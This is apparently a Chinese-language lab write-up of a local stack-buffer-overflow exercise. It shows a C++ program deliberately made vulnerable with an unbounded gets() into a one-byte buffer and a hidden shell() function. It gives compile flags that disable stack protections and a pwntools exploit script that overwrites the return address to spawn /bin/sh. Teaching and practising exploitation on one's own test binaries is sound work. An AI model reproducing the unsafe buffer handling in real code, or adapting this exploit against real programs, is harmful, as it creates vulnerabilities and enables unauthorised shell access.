栈溢出实验

gets 参考 CSAPP P195

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <iostream>

using namespace std;

extern "C" int shell();

char* gets(char* s) {
int c;
char* dest = s;
while ((c = getchar()) != '\n' && c != EOF) {
*dest++ = c;
}
if (c == EOF && dest == s)
return NULL;
*dest++ = '\0';
return s;
}

int shell()
{
return system("/bin/sh");
}

int main()
{
char v1;
gets(&v1);
return 0;
}

  • 修改 version2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <iostream>

using namespace std;

extern "C" int shell();

char* gets(char* s) {
int c;
char* dest = s;
while ((c = getchar()) != '\n' && c != EOF) {
*dest++ = c;
}
if (c == EOF && dest == s)
return NULL;
*dest++ = '\0';
return s;
}

char* vuln()
{
char v1;
return gets(&v1);
}

int shell()
{
return system("/bin/sh");
}

int main()
{
vuln();
return 0;
}
  • 关闭保护
1
g++ -fno-stack-protector -z execstack -no-pie stack.cpp -o stack
  • 得到可执行文件 stack,拿到 IDA 64 反编译

image-20210623235648172

  • checksec --file=stack 结果如下

image-20210623235709636

  • vuln 函数如下

image-20210624000730044

  • 栈信息如下,因此需要覆盖 9 个字符到达返回地址

image-20210624000706356

  • shell 地址 0x4006F4;shell 的 retn 地址 0x400705(因为本地环境是 Ubuntu 18,所以要做堆栈平衡需要知道 retn 地址)

image-20210623235917096

  • exp.py 代码如下
1
2
3
4
5
6
7
8
from pwn import *

p = process('./stack')
shell = 0x4006F4
retn = 0x400705
payload = 'a'*9 + p64(retn) + p64(shell)
p.sendline(payload)
p.interactive()
  • python exp.py,可以打通本地,结果如下

image-20210624000416446



----------- 本文结束 -----------




0%